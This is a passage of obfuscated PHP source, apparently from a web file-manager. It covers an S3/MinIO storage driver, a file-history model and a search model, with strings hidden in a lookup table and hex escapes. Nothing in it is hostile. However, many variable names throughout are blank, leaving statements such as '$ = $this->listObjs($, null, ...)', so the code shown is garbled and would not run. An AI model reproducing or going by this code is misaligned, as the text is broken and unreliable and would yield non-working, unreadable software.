$ƀ[12]) { return $ͦϝ; } if (empty($Ũ)) { $Ũ = $this->objectMeta(trim($η, $ƀ[8]) . $ƀ[8]); } if (isset($Ũ[$ƀ[180]])) { $ͦϝ[$ƀ[201]] = $Ũ[$ƀ[180]]; } return $ͦϝ; } private function fileList($ڽ, $ŵ = '', $뷧 = 0) { $ٰ =& $_SERVER[ﻻ]; $ = rtrim($ڽ, $ٰ[8]) . $ٰ[8]; $ = $this->listObjs($, null, null, $ŵ); if (!$) { return array($ٰ[82] => array(), $ٰ[83] => array()); } $ = $ = array(); foreach ($[$ٰ[204]] as $ⷒ) { $˷ׁ = $ⷒ[$ٰ[32]]; if ($˷ׁ == $) { continue; } $ = isset($ⷒ[$ٰ[76]]) ? $ⷒ[$ٰ[76]] : 0; $ = $ == 0 && substr($˷ׁ, strlen($˷ׁ) - 1, 1) == $ٰ[8] ? !0 : !1; $this->cacheMethodInfoSet($˷ׁ, $, $ⷒ); if ($) { $[] = $˷ׁ; continue; } $[] = $뷧 ? $ⷒ : $˷ׁ; } foreach ($[$ٰ[205]] as $ⷒ) { $[] = $ⷒ[$ٰ[32]]; $this->cacheMethodInfoSet($ⷒ[$ٰ[32]], !0); } $this->cacheMethodInfoSet($ڽ, !0); return array($ٰ[82] => $, $ٰ[83] => $); } private function listObjs($, $뱐 = null, $Ъ = null, $ = null) { $ܖ =& $_SERVER[ﻻ]; $ = trim($, $ܖ[8]); $㈮燈 = empty($) && $ !== $ܖ[198] ? $ܖ[12] : $ . $ܖ[8]; return $this->client->getBucket($this->bucket, $㈮燈, $뱐, $Ъ, $, !0); } public function has($, $ = false, $ = true) { $ѭ =& $_SERVER[ﻻ]; $ = trim($, $ѭ[8]); $ = empty($) && $ !== $ѭ[198] ? $ѭ[12] : $ . $ѭ[8]; $ = null; $ѩ = 500; $ЛЩ = $ѭ[8]; $ = $ = array(); while (!0) { $ޕĠ = $this->listObjs($, $, $ѩ, $ЛЩ); if (!$ޕĠ) { break; } $ = $ޕĠ[$ѭ[206]]; $埵 = $ޕĠ[$ѭ[204]]; $ܿ = $ޕĠ[$ѭ[205]]; if (empty($埵) && empty($ܿ)) { break; } if (count($埵) == 1 && $埵[0][$ѭ[32]] == $) { break; } if ($) { if (count($埵)) { $埵 = array_column($埵, $ѭ[32]); $ = array_merge($, $埵); } if (count($ܿ)) { $ܿ = array_column($ܿ, $ѭ[32]); $ = array_merge($, $ܿ); } if ($ === null) { break; } continue; } if ($) { if (!empty($埵)) { if (count($埵) > 1 || isset($埵[0][$ѭ[32]]) && $埵[0][$ѭ[32]] != $) { return !0; } } } else { if (!empty($ܿ)) { return !0; } } if ($ === null) { break; } } if ($) { $ = array_diff($, array($)); $ = count(array_unique($)); $ = count(array_unique($)); return array($ѭ[207] => $, $ѭ[208] => $); } return !1; } public function listAll($ѓ) { $ì =& $_SERVER[ﻻ]; $ = $this->fileList($ѓ, $ì[12], !0); $̺ԁ = array_to_keyvalue($[$ì[83]], $ì[32]); foreach ($[$ì[82]] as $ե) { if (is_string($ե)) { $̺ԁ[$ե] = array($ì[76] => 0); } } return $this->listAllFiles($ѓ, $̺ԁ); } public function canRead($) { $ =& $_SERVER[ﻻ]; $ = $this->client->getAccessControlPolicy($this->bucket, $); if (!$) { return !1; } return in_array($, array($[209], $[210], $[211])) ? !0 : !1; } public function canWrite($) { $ю̢ =& $_SERVER[ﻻ]; $ = $this->client->getAccessControlPolicy($this->bucket, $); if (!$) { return !1; } return in_array($, array($ю̢[209], $ю̢[210])) ? !0 : !1; } public function getContent($) { return $this->client->getObject($this->bucket, $); } public function setContent($㮳, $ = '', $ = false) { $ =& $_SERVER[ﻻ]; $㮳 = $ ? trim($㮳, $[8]) . $[8] : $㮳; $ӝ = get_file_mime(get_path_ext($㮳)); $Ĵ = $this->client->putObject($, $this->bucket, $㮳, $[199], array(), $ӝ); if (!$Ĵ) { return !1; } if ($) { return !0; } $this->cacheMethod(null, null); $Ĵ = $this->copyFile($㮳, $㮳, array($[212] => $Ĵ[$[213]])); return $Ĵ ? !0 : !1; } public function fileSubstr($כ, $۠ȟ, $ٛ) { $Э = $۠ȟ + $ٛ - 1; return $this->client->getObject($this->bucket, $כ, array($_SERVER[ﻻ][214] => "\x62\x79\164\x65\163\75{$۠ȟ}\55{$Э}")); } public function upload($, $, $ = false, $ = REPEAT_REPLACE) { $Ӛ =& $_SERVER[ﻻ]; $ꪡ = array($Ӛ[212] => @md5_file($)); $ʯ = array($Ӛ[215] => get_file_mime(get_path_ext($))); if (IO::size($) <= 1024 * 1024 * 200) { $ = $this->client->putObjectFile($, $this->bucket, $, $Ӛ[199], $ꪡ, $ʯ); return !empty($) ? $this->getPathOuter($) : !1; } $ = $this->client->multiUploadObject($, $this->bucket, trim($, $Ӛ[8]), $ꪡ, $ʯ); return $ ? $this->getPathOuter($) : !1; } public function download($ܽ, $) { if (!@is_dir($this->pathFather($)) && !IO::mkdir($this->pathFather($))) { return !1; } $˂樂 = $this->client->getObject($this->bucket, $ܽ, array(), $); return $˂樂 !== !1 ? $ : !1; } public function link($珦ٲ, $ݔ = array()) { $ΰ =& $_SERVER[ﻻ]; if ($this->signVer == $ΰ[216]) { return $this->client->getAuthenticatedURL($this->bucket, $珦ٲ, 3600 * 12, $ݔ); } return $this->client->getObjectUrl($this->accessKey, $this->secret, $this->bucket, trim($珦ٲ, $ΰ[8]), 3600 * 12, $this->region, array(), !0, $ݔ); } public function fileOut($, $ƭ = false, $۷᚛ = false, $ձ = '') { $ =& $_SERVER[ﻻ]; if ($this->isFileOutServer()) { return $this->fileOutServer($, $ƭ, $۷᚛, $ձ); } if (!$۷᚛) { $۷᚛ = $this->pathThis($); } $릨 = get_file_mime(get_path_ext($۷᚛)); if ($릨 == $[217]) { return parent::fileOut($, $ƭ, $۷᚛, $ձ); } $ = array($[218] => $릨); if ($ƭ) { $[$[219]] = $[220] . rawurlencode($۷᚛); } else { } $ = $this->link($, $); $this->fileOutLink($); } public function fileOutServer($⓶, $ۅ = false, $ = false, $ = '') { parent::fileOut($⓶, $ۅ, $, $); } public function fileOutImageServer($Ѫ, $ڡ = 250) { parent::fileOutImage($Ѫ, $ڡ); } public function hashMd5($͞, $ç = '') { $ =& $_SERVER[ﻻ]; $ = $this->objectMeta($͞); if (!$) { return !1; } $ç = $ç ? $ç : _get($, $[221]); $ç = $ç ? $ç : _get($, $[213], $[12]); return $ç; } public function uploadFormData($IJܡ, $õ = 3600) { $Ҡ =& $_SERVER[ﻻ]; $ = $this->pathFather($IJܡ); $Թݒ = $this->client->getHttpUploadPostParams($this->bucket, $, $Ҡ[199], $õ); return array_merge((array) $Թݒ, array($Ҡ[182] => $this->getHost())); } public function multiUploadFormData($, $ = 3600) { $Ʀ =& $_SERVER[ﻻ]; $ͻ = gmdate($Ʀ[222]); $ה = array(); $ = $this->client->getUploadId($this->bucket, $, $ה); if (!$) { return !1; } return array($Ʀ[223] => $, $Ʀ[182] => $this->getHost() . $Ʀ[8] . $this->pathEncode($), $Ʀ[224] => $ͻ, $Ʀ[94] => $); } public function multiUploadAuthData($ҿӣ, $ = array()) { $۷ =& $_SERVER[ﻻ]; $Յ = isset($[$۷[224]]) ? $[$۷[224]] : gmdate($۷[222]); $ͽ = isset($[$۷[174]]) ? $[$۷[174]] : $۷[12]; $ = $[$۷[94]]; unset($[$۷[94]]); if (isset($[$۷[225]])) { $[$۷[224]] = $Յ; return $this->listUploadParts($, $); } $µ = array($۷[226], $۷[12], $۷[120], $۷[12], "\170\x2d\x61\x6d\172\x2d\144\141\164\145\72{$Յ}", $۷[8] . $this->bucket . $۷[8] . $this->pathEncode($) . $ͽ); if (strpos($ͽ, $۷[227]) === 0) { $µ[0] = $۷[228]; } if (isset($[$۷[229]]) && $[$۷[229]] == $۷[230]) { $µ[0] = $۷[230]; } $㘖 = implode($۷[231], $µ); $ = base64_encode(hash_hmac($۷[232], $㘖, $this->secret, !0)); $դ = $۷[233] . $this->accessKey . $۷[4] . $; if (strpos($ͽ, $۷[227]) === 0) { return array($۷[234] => $դ, $۷[224] => $Յ); } return $դ; } public function listUploadParts($Ԏ, $ȳ = array()) { $Ȳ =& $_SERVER[ﻻ]; $ = str_replace($Ȳ[235], $Ȳ[12], $ȳ[$Ȳ[174]]); $ = $this->client->listParts($this->bucket, $Ԏ, $); if (!$) { return !1; } unset($ȳ[$Ȳ[225]], $ȳ[$Ȳ[229]]); $ȳ[$Ȳ[94]] = $Ԏ; $ = $this->multiUploadAuthData($Ԏ, $ȳ); if (empty($)) { return !1; } return array($Ȳ[234] => $, $Ȳ[224] => $ȳ[$Ȳ[224]], $Ȳ[236] => $); } public function getHost() { return parent::getHost() . $_SERVER[ﻻ][8] . $this->bucket; } public function size($᪬ϣ) { $; = $this->objectMeta($᪬ϣ); return $; ? $;[$_SERVER[ﻻ][76]] : 0; } public function info($ͩ) { if ($this->isFolder($ͩ)) { return $this->folderInfo($ͩ); } else { if ($this->isFile($ͩ)) { return $this->fileInfo($ͩ); } } return !1; } public function exist($ޚö) { return $this->isFile($ޚö) || $this->isFolder($ޚö); } public function isFile($Ʀ) { return !$this->isFolder($Ʀ) && $this->objectMeta($Ʀ); } public function isFolder($ж) { return $this->cacheMethod($_SERVER[ﻻ][165], $ж); } protected function objectMeta($ԫ) { return $this->cacheMethod($_SERVER[ﻻ][167], $ԫ); } protected function _objectMeta($裙) { $ =& $_SERVER[ﻻ]; $裙 = rtrim($裙, $[8]); try { $ = $this->client->getObjectInfo($this->bucket, $裙); if (!isset($[$[221]]) && isset($[$[237]])) { $[$[221]] = $[$[237]]; } } catch (Exception $ڵ) { $ = !1; } if (!$) { } return $; } protected function _isFolder($) { $ꏇ =& $_SERVER[ﻻ]; $ = rtrim($, $ꏇ[8]); if ($ == $ꏇ[12] || $ == $ꏇ[8]) { return !0; } $߆ = $this->client->getBucket($this->bucket, $, null, 1); if (empty($߆[$ꏇ[204]])) { return !1; } $ʄ = $߆[$ꏇ[204]][0][$ꏇ[32]]; return stripos($ʄ, $ . $ꏇ[8]) === 0 ? !0 : !1; if (substr($ʄ, -1) == $ꏇ[8]) { return !0; } if (get_path_this($ʄ) == get_path_this($)) { return !1; } return !0; } } class PathDriverMinIO extends PathDriverBaseS3 { public function __construct($Δ܉) { parent::__construct($Δ܉); $this->signatureVersion($_SERVER[ﻻ][216]); } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public function isBucketCors() { return !0; } } goto F; F: define($_SERVER[ﻻ][238], 1); define($_SERVER[ﻻ][239], 2); define($_SERVER[ﻻ][240], 3); goto FƋ; FƋ: define($_SERVER[ﻻ][241], 1); define($_SERVER[ﻻ][242], 0); define($_SERVER[ﻻ][243], 2); goto B; B: class SourceHistoryModel extends ModelBase { protected $tableName = "\x69\157\x5f\x73\x6f\165\162\x63\x65\137\150\x69\x73\x74\157\162\171"; public function historyCount($) { $ =& $_SERVER[ﻻ]; if (!$) { return array(); } if (is_string($) || is_int($)) { $ = array($); } $Ɔ쓏 = array($[411], $[1900] => $[500]); $셈 = array($[411] => array($[7], $)); $˥ƭ = $this->field($Ɔ쓏)->where($셈)->group($[411])->select(); return array_to_keyvalue($˥ƭ, $[411], $[500]); } public function addHistory($, $ = '') { $卸 =& $_SERVER[ﻻ]; $§Ǭ = array($卸[426] => $[$卸[411]], $卸[1669] => isset($[$卸[465]]) ? $[$卸[465]] : $[$卸[463]], $卸[478] => $[$卸[477]], $卸[554] => $[$卸[76]], $卸[2110] => $); if ($GLOBALS[$卸[6]][$卸[89]][$卸[1227]] >= 1) { $this->historyAutoClear($§Ǭ[$卸[411]]); $this->add($§Ǭ); } Hook::trigger($卸[2111], $§Ǭ); Model($卸[2112])->eventFileEdit($[$卸[411]]); } private function historyAutoClear($ϙ) { $컥 =& $_SERVER[ﻻ]; $ = Model($컥[783])->get($컥[1249]); $ٌ = $GLOBALS[$컥[6]][$컥[89]][$컥[1227]]; $串 = $ == $컥[1250] ? min(5, $ٌ) : $ٌ; $串 = $串 <= 0 ? 0 : $串 - 1; if ($串 >= 500) { return; } $Ł = array($컥[426] => $ϙ); $ͯ = $this->field($컥[2113])->where($Ł)->order($컥[2107])->select(); if (!$ͯ || $串 >= count($ͯ)) { return; } $ = array_to_keyvalue($ͯ, $컥[12], $컥[399]); $ = array_slice($, $串); $ = array_to_keyvalue($ͯ, $컥[12], $컥[477]); $ = array_slice($, $串); if (!$ || !$) { return; } $Ł = array($컥[428] => array($컥[7], $)); $this->where($Ł)->delete(); Model($컥[480])->remove($); } public function listData($) { $ =& $_SERVER[ﻻ]; $ĉ = array($[426] => $); $ = $[2114]; $ܞ = $this->field($)->where($ĉ)->order($[2107])->selectPage(); $this->_listAppendUser($ܞ[$[369]]); $ = Model($[783])->get($[1249]); $̞փ = 5; if ($ == $[1250]) { $ܞ[$[369]] = array_slice($ܞ[$[369]], 0, $̞փ); $ܞ[$[366]] = array($[2115] => 1, $[2116] => 20, $[2117] => 1, $[2118] => count($ܞ[$[369]])); } return $ܞ; } protected function _listAppendUser(&$) { $ =& $_SERVER[ﻻ]; $ = array_to_keyvalue($, $[12], $[1678]); $Μ = Model($[534])->userListInfo($); foreach ($ as &$) { $Գ = $[$[1678]]; $[$[463]] = $Μ[$Գ] ? $Μ[$Գ] : !1; } unset($); } public function fileInfo($˾) { $¢ =& $_SERVER[ﻻ]; $Ũ = $this->tablePrefix; $ij = "{$Ũ}\151\x6f\137\x66\x69\x6c\x65\40\x66\x69\154\x65\163\40\x6f\x6e\x20\x66\x69\x6c\145\163\56\x66\151\154\x65\x49\104\40\75\40\x68\151\163\164\x6f\162\x79\56\x66\151\x6c\x65\111\104"; return $this->alias($¢[2119])->where(array($¢[428] => $˾))->join($ij, $¢[2120])->find(); } public function removeItem($ג) { $ۋ =& $_SERVER[ﻻ]; $챴 = array($ۋ[428] => $ג); $Θ = $this->where($챴)->find(); if ($Θ) { $ = $this->where($챴)->delete(); Model($ۋ[480])->remove($Θ[$ۋ[477]]); return $; } return !1; } public function removeBySource($ӟ) { $հ =& $_SERVER[ﻻ]; if (!$ӟ) { return !1; } if (!is_array($ӟ)) { $ӟ = array($ӟ); } $˗ = array($հ[426] => array($հ[7], $ӟ)); $쒟 = $this->field($հ[478])->where($˗)->select(); if ($쒟) { $this->where($˗)->delete(); $ = array_to_keyvalue($쒟, $հ[12], $հ[477]); Model($հ[480])->remove($); } return !0; } public function setDetail($П, $) { $ =& $_SERVER[ﻻ]; return $this->where(array($[428] => $П))->save(array($[2110] => $)); } public function rollbackToItem($, $) { $˿ =& $_SERVER[ﻻ]; $ = Model($˿[838])->sourceInfo($); $this->addHistory($, LNG($˿[2121])); $į = $this->find($); $Ú = array($˿[477] => $į[$˿[477]], $˿[76] => $į[$˿[76]], $˿[85] => time(), $˿[465] => USER_ID); Model($˿[838])->where(array($˿[411] => $))->save($Ú); return $this->where(array($˿[428] => $))->delete(); } public function clearSame($Я) { $լ =& $_SERVER[ﻻ]; $ѻ = $this->listData($Я); $ = array_to_keyvalue_group($ѻ, $լ[477]); $ = array(); $ = array(); foreach ($ as $ޔж) { if (!$ޔж || count($ޔж) <= 1) { continue; } foreach ($ޔж as $づ) { $[] = $づ[$լ[477]]; $[] = $づ[$լ[399]]; } } if (!$) { return; } $this->where(array($լ[399] => array($լ[7], $)))->delete(); Model($լ[480])->remove($); } public function userSpace() { $ۏˮ =& $_SERVER[ﻻ]; $ = $this->tablePrefix; $ = array($ۏˮ[1669] => USER_ID); $ןʛ = "{$}\151\157\x5f\146\151\154\145\40\146\x69\154\x65\x73\40\x6f\156\40\146\151\154\x65\x73\x2e\x66\x69\x6c\145\x49\x44\x20\75\40\150\x69\163\x74\157\162\x79\x2e\146\x69\154\x65\x49\x44"; return $this->alias($ۏˮ[2119])->where($)->join($ןʛ, $ۏˮ[2120])->sum($ۏˮ[76]); } } class SourceListSearchModel extends SourceListMoveModel { public static function fileTypeWhere($͗) { $ =& $_SERVER[ﻻ]; $Ի = KodIO::fileTypeList(); $Щȃ = $Ի[$͗]; if (!$Щȃ) { return array(); } $ = $Щȃ[$[174]]; $欟 = $[7]; if (!$Щȃ[$[174]]) { $䂺 = array_to_keyvalue($Ի, $[12], $[174]); $ = implode($[50], $䂺); $欟 = $[2122]; } $օ = explode($[50], trim($, $[50])); return array($欟, $օ); } public function listPathType($җ) { $ =& $_SERVER[ﻻ]; $ = $this->fileTypeWhere($җ); if (!$) { return array(); } $ǻ = USER_ID; $ = Model($[534])->getInfo($ǻ); $Ā = array($[585] => SourceModel::TYPE_USER, $[520] => array($[549], $[530] . $[$[87]][$[411]] . $[550]), $[586] => $ǻ, $[583] => 0, $[584] => $); return $this->listSource($Ā); } public function listSearch($̇, $ = 300) { $Ğ =& $_SERVER[ﻻ]; if (isset($̇[$Ğ[1961]]) && $̇[$Ğ[1961]]) { $̇[$Ğ[1961]] = str_replace($Ğ[384], $Ğ[2123], trim($̇[$Ğ[1961]])); } $Ѷ = $this->_parseSearchWhere($̇); if (!isset($Ѷ[$Ğ[440]])) { $Ѷ[$Ğ[440]] = 0; } $ = $Ğ[2124]; $ = $Ѷ; $ߊ = $; $this->_listSearchBindPinyin($̇, $Ѷ, $); $this->alias($Ğ[455])->_makeOrder(); $Ѷ = $this->parseWhereLike($Ѷ); $Ç = $this->distinct(!0)->field($)->where($Ѷ)->selectPage($); if ($GLOBALS[$Ğ[6]][$Ğ[381]][$Ğ[382]] && Input::check($̇[$Ğ[1961]], $Ğ[592]) && $Ç[$Ğ[366]][$Ğ[353]] == 1 && $Ç[$Ğ[366]][$Ğ[367]] == 0) { $Ç = $this->distinct(!0)->field($)->where($)->limit(1000)->select(); $Ç = array_page_split($Ç, !1, $); } $this->_listSearchFileContent($Ç, $̇, $ߊ, $); $this->_listSearchDesc($Ç, $̇, $ߊ); $this->_listSearchTag($Ç, $̇, $ߊ); $this->_listSearchGroupTag($Ç, $̇, $ߊ); $this->_listDataApply($Ç[$Ğ[369]]); $this->_listMake($Ç); return $Ç; } private function _listSearchFileContent(&$愢, $못, $, $) { $ =& $_SERVER[ﻻ]; if (!$못[$[1961]] || $愢[$[366]][$[353]] > 1) { return; } if (!isset($[$[32]]) || !is_array($못[$[477]])) { return; } $[$[477]] = array($[7], $못[$[477]]); unset($[$[32]]); unset($못[$[477]]); $ӗ = $this->field($)->where($)->limit($[2125])->select(); if (!$ӗ || count($ӗ) == 0) { return; } $愢[$[369]] = array_merge($ӗ, $愢[$[369]]); $愢[$[366]][$[367]] += count($ӗ); } private function _listSearchTag(&$Ʒ, $, $) { $ =& $_SERVER[ﻻ]; if (!$[$[1961]] || $Ʒ[$[366]][$[353]] > 1) { return; } $蒤 = Model($[2126])->listData(); $IJ = array(); $կ = $[$[1961]]; foreach ($蒤 as $׀) { $ = $׀[$[32]]; $ = str_replace($[53], $[12], Pinyin::get($)); if (stripos($, $կ) !== !1 || stripos($, $կ) !== !1) { $IJ[] = $׀[$[399]]; } } if (!$IJ) { return; } $ = array($[435] => array($[7], $IJ), $[1678] => USER_ID); $ = Model($[437])->field($[84])->where($)->select(); $ = array_to_keyvalue($, $[12], $[84]); $Ƶ찋 = array_unique($); $this->_listSearchMerge($Ʒ, $, $, $Ƶ찋); } private function _listSearchDesc(&$ƛ, $շ, $ۭ) { $ =& $_SERVER[ﻻ]; if (!$շ[$[1961]] || $ƛ[$[366]][$[353]] > 1) { return; } $߃ = array($[94] => $[462], $[374] => array($[383], $[1963] . $շ[$[1961]] . $[1963])); $ = !1; if ($) { $ = $this->listSearchChildren($շ[$[441]]); $ = array_unique($); if (!$) { return; } $߃[$[411]] = array($[7], $); } $ = Model($[569])->field($[411])->where($߃)->limit(5000)->select(); $灕 = array_to_keyvalue($, $[12], $[411]); $this->_listSearchMerge($ƛ, $շ, $ۭ, $灕); } private function _listSearchGroupTag(&$, $ߤב, $ʕ) { $ȳ =& $_SERVER[ﻻ]; if (!$ߤב[$ȳ[1961]] || $[$ȳ[366]][$ȳ[353]] > 1 || !$ߤב[$ȳ[441]]) { return; } $ = $this->sourceInfo($ߤב[$ȳ[441]]); if (!$ || $[$ȳ[420]] != SourceModel::TYPE_GROUP) { return; } $ = $[$ȳ[505]]; $ = Model($ȳ[2127])->get($); $ = array(); $ = $ߤב[$ȳ[1961]]; foreach ($[$ȳ[369]] as $) { $ۇ = $[$ȳ[32]]; $Ɖő = str_replace($ȳ[53], $ȳ[12], Pinyin::get($ۇ)); if (stripos($ۇ, $) !== !1 || stripos($Ɖő, $) !== !1) { $[] = $[$ȳ[399]]; } } if (!$) { return; } $̬ = array($ȳ[435] => array($ȳ[7], $), $ȳ[1678] => 0, $ȳ[33] => $ȳ[1983] . $); $ɸ = Model($ȳ[437])->field($ȳ[84])->where($̬)->select(); $ɸ = array_to_keyvalue($ɸ, $ȳ[12], $ȳ[84]); $ = array_unique($ɸ); $this->_listSearchMerge($, $ߤב, $ʕ, $); } private function _listSearchMerge(&$, $, $ݘ֩, $) { $ΰ֒ =& $_SERVER[ﻻ]; if (!$) { return; } $̸р = array_to_keyvalue($[$ΰ֒[369]], $ΰ֒[12], $ΰ֒[411]); $𫈑 = array_diff($, $̸р); if (!$𫈑) { return; } $ = array($ΰ֒[411] => array($ΰ֒[7], $𫈑)); $ = $this->field($ݘ֩)->where($)->select(); if (!$) { return; } $ = array(); foreach ($ as $) { if ($this->_listSearchFilter($, $)) { $[] = $; } } $[$ΰ֒[369]] = array_merge($, $[$ΰ֒[369]]); $[$ΰ֒[366]][$ΰ֒[367]] += count($); } private function _listSearchFilter($, $) { $ =& $_SERVER[ﻻ]; $ʫ = $[$[419]] == $[88]; if (!strstr($[$[520]], $[50] . $[$[441]] . $[50])) { return !1; } if (isset($[$[421]]) && $[$[421]] != $[1922]) { if ($[$[421]] == $[75] && !$ʫ) { return !1; } if ($[$[421]] != $[75] && $ʫ) { return !1; } if (!strstr($[$[174]], $[50] . $[$[421]] . $[50])) { return !1; } } if (isset($[$[2128]]) && $[$[2128]] < $[$[76]]) { return !1; } if (isset($[$[2129]]) && $[$[2129]] > $[$[76]]) { return !1; } if (isset($[$[599]]) && $[$[599]] != $[$[465]]) { return !1; } return !0; } public function listSearchChildren($͚, $ꪇ = 5000) { $ꐪ =& $_SERVER[ﻻ]; $ʺ = array(); $д = $this->sourceInfo($͚); $웨 = array($ꐪ[520] => array($ꐪ[383], $д[$ꐪ[520]] . $д[$ꐪ[411]] . $ꐪ[550])); $ = $this->field($ꐪ[76])->where($웨)->limit($ꪇ + 1)->select(); $֬ = is_array($) ? count($) : 0; if ($֬ > $ꪇ) { return $this->_listSearchChildrenNear($͚, $ꪇ); } $ = $this->field($ꐪ[411])->where($웨)->select(); $ʺ = array_to_keyvalue($, $ꐪ[12], $ꐪ[411]); return $ʺ; } private function _listSearchChildrenNear($, $⦿) { $ =& $_SERVER[ﻻ]; $ = array(); $ܗ߂ = array($[441] => $); $ = $this->field($[2130])->where($ܗ߂)->select(); $ª = array_to_keyvalue(array_filter_by_field($, $[419], $[88]), $[12], $[411]); $ = array_merge($, array_to_keyvalue($, $[12], $[411])); if (!$ª) { return $; } $ܗ߂ = array($[441] => array($[7], $ª)); $ = $this->field($[2130])->where($ܗ߂)->limit($⦿)->select(); $ = array_merge($, array_to_keyvalue($, $[12], $[411])); $ = array_slice($, 0, $⦿); return $; } private function _listSearchBindPinyin($, &$, &$̞) { $ =& $_SERVER[ﻻ]; if (!isset($[$[1961]]) || !$[$[1961]]) { return; } if (!Input::check($[$[1961]], $[318]) || strlen($[$[1961]]) < 2) { return; } $襏 = "\114\x45\106\x54\40\x4a\117\111\116\x20{$this->tablePrefix}\x69\157\137\163\x6f\165\162\x63\145\x5f\155\145\164\141\40\x6d\x65\164\141\x20\157\156\40\163\x6f\x75\x72\143\x65\56\163\x6f\165\x72\x63\x65\111\x44\40\x3d\40\x6d\145\164\x61\x2e\163\x6f\x75\x72\x63\x65\111\x44"; $ے = array(); $̞ = str_replace(array($[231], $[53], $[2131]), $[12], $̞); $̞ = $[447] . str_replace($[50], $[448], $̞); $ = $[$[32]]; unset($[$[32]]); foreach ($ as $ޜ => $ټ) { $ے[$[447] . $ޜ] = $ټ; } foreach ($ as $) { $ے[] = array($[452] => $, $[1010] => $[1965], array($[2132] => $, $[2133] => array($[7], array($[474], $[473])))); } $this->join($襏); $ = $ے; } private function _parseSearchWhere($) { $ =& $_SERVER[ﻻ]; $ = array(); if (isset($[$[773]]) && $[$[773]]) { $[$[85]] = array($[2134], $[$[773]]); } if (isset($[$[774]]) && $[$[774]]) { $ע = array($[2135], $[$[774]]); if ($[$[85]]) { $[$[85]] = array($[$[85]], $ע, $[2136]); } else { $[$[85]] = $ע; } } if (isset($[$[2128]]) && $[$[2128]] > 0) { $[$[76]] = array($[2134], $[$[2128]]); } if (isset($[$[2129]]) && $[$[2129]]) { $ע = array($[2135], $[$[2129]]); if ($[$[76]]) { $[$[76]] = array($[$[76]], $ע, $[2136]); } else { $[$[76]] = $ע; } } if (isset($[$[599]]) && $[$[599]]) { $[] = array($[465] => $[$[599]], $[463] => $[$[599]], $[1010] => $[1965]); } if (isset($[$[421]]) && $[$[421]]) { $ί = $[$[421]]; if ($ί == $[75]) { $[$[419]] = 1; } else { if ($ί == $[2137]) { $[$[419]] = 0; } else { if ($ί) { $ί = is_array($ί) ? $ί : explode($[50], $ί); $[$[421]] = array($[427], $ί); $[$[419]] = 0; } } } } $this->_parseSearchParent($, $); if (isset($[$[1961]]) && trim($[$[1961]])) { $ = trim($[$[1961]]); $ښ = explode($[53], $); if (strlen($) > 2 && (substr($, 0, 1) == $[118] && substr($, -1) == $[118]) || substr($, 0, 1) == $[58] && substr($, -1) == $[58]) { $ = substr($, 1, -1); $ښ = array($); } $[$[32]] = array(array($[549], $[1963] . $ . $[1963])); if (count($ښ) > 1) { $[$[32]] = array(); foreach ($ښ as $Ȳ) { if (!trim($Ȳ)) { continue; } $[$[32]][] = array($[549], $[1963] . trim($Ȳ) . $[1963]); } } } return $; } private function _parseSearchParent($ڱ܉, &$͟) { $܊ =& $_SERVER[ﻻ]; if (!isset($ڱ܉[$܊[441]]) || !$ڱ܉[$܊[441]]) { return; } $ = $this->pathInfo($ڱ܉[$܊[441]]); $ԥ = $[$܊[441]] . $܊[12] === $܊[198]; $ٰ = $[$܊[420]] == $܊[514]; if ($[$܊[531]] == $܊[532]) { $ = $this->sourceInfo($ڱ܉[$܊[441]]); $[$܊[520]] = $[$܊[520]]; } $͟[$܊[589]] = array($܊[549], $[$܊[520]] . $ڱ܉[$܊[441]] . $܊[550]); $ = isset($ڱ܉[$܊[1826]]) && in_array($܊[514], $ڱ܉[$܊[1826]]); if (!$ || !$ٰ || !$ԥ || !$[$܊[422]]) { return; } if (!AuthModel::authCheckRoot($[$܊[422]][$܊[423]])) { return; } $ = $[$܊[505]] . $܊[12]; if ($ == $܊[88]) { unset($͟[$܊[589]]); $͟[$܊[420]] = self::TYPE_GROUP; return; } $ = Model($܊[521])->groupChildrenAll($); $ج = count($); if ($ج <= 1) { return; } $Љ = array($܊[441] => 0, $܊[420] => self::TYPE_GROUP, $܊[505] => array($܊[7], $)); $١ = $this->field($܊[2138])->where($Љ)->limit($ج)->select(); $͟[$܊[589]] = array(); foreach ($١ as $Ɯ) { $͟[$܊[589]][] = array($܊[549], $܊[530] . $Ɯ[$܊[411]] . $܊[550]); } $͟[$܊[589]][] = $܊[1965]; } } class SourceModel extends SourceListSearchModel { public $statusIgnoreResetSpace = false; public function userRootAdd($ژӫ) { $ﵮ =& $_SERVER[ﻻ]; $۸ = Model($ﵮ[513])->where(array($ﵮ[1669] => $ژӫ))->find(); $ = $this->_mkdirRoot(SourceModel::TYPE_USER, $ژӫ, $۸[$ﵮ[32]]); $this->userDesktopAdd($); return $; } public function userDesktopAdd($) { $ =& $_SERVER[ﻻ]; $߾ = LNG($[2139]); $̓ = $this->mkdir($, $߾); $this->metaSet($̓, $[2140], $[88]); $this->metaSet($, $[2141], $̓); } public function userPathSafeAdd($ۡ) { $ʾ =& $_SERVER[ﻻ]; $ۋ = Model($ʾ[513])->getInfoFull($ۡ); if (!$ۋ) { return !1; } if (_get($ۋ, $ʾ[535])) { return $ۋ[$ʾ[475]][$ʾ[2142]]; } $֒ = $this->_mkdirRoot(SourceModel::TYPE_USER, $ۡ, $ʾ[2143], $ʾ[442]); Model($ʾ[513])->metaSet($ۡ, $ʾ[2142], $֒); $this->metaSet($֒, $ʾ[2144], $ۡ); return $֒; } public function groupRootAdd($鷋) { $Ӌ =& $_SERVER[ﻻ]; $҈ = Model($Ӌ[521])->where(array($Ӌ[1955] => $鷋))->find(); return $this->_mkdirRoot(SourceModel::TYPE_GROUP, $鷋, $҈[$Ӌ[32]]); } public function systemRootPathAdd($) { if ($ != $_SERVER[ﻻ][543]) { return !1; } return $this->_mkdirRoot(SourceModel::TYPE_SYSTEM, 0, $); } public function userRootRemove($֚) { $̗ = $this->targetSourceRoot(SourceModel::TYPE_USER, $֚, !0); foreach ($̗ as $ܱ) { if (!$ܱ) { continue; } $this->remove($ܱ[$_SERVER[ﻻ][411]], !1); } } public function groupRootRemove($ٽ) { $ֹċ = $this->targetSourceRoot(SourceModel::TYPE_GROUP, $ٽ); if (!$ֹċ) { return; } $this->remove($ֹċ[$_SERVER[ﻻ][411]], !1); } private function _mkdirRoot($ܧ, $Ź, $ˠ, $扏 = '') { $֯ =& $_SERVER[ﻻ]; $Ơ = defined($֯[2145]) ? USER_ID : 0; $ = array($֯[410] => 0, $֯[585] => $ܧ, $֯[586] => $Ź, $֯[583] => 1, $֯[587] => $Ơ, $֯[588] => $Ơ, $֯[584] => $扏, $֯[589] => $֯[530], $֯[439] => 0, $֯[554] => 0, $֯[478] => 0, 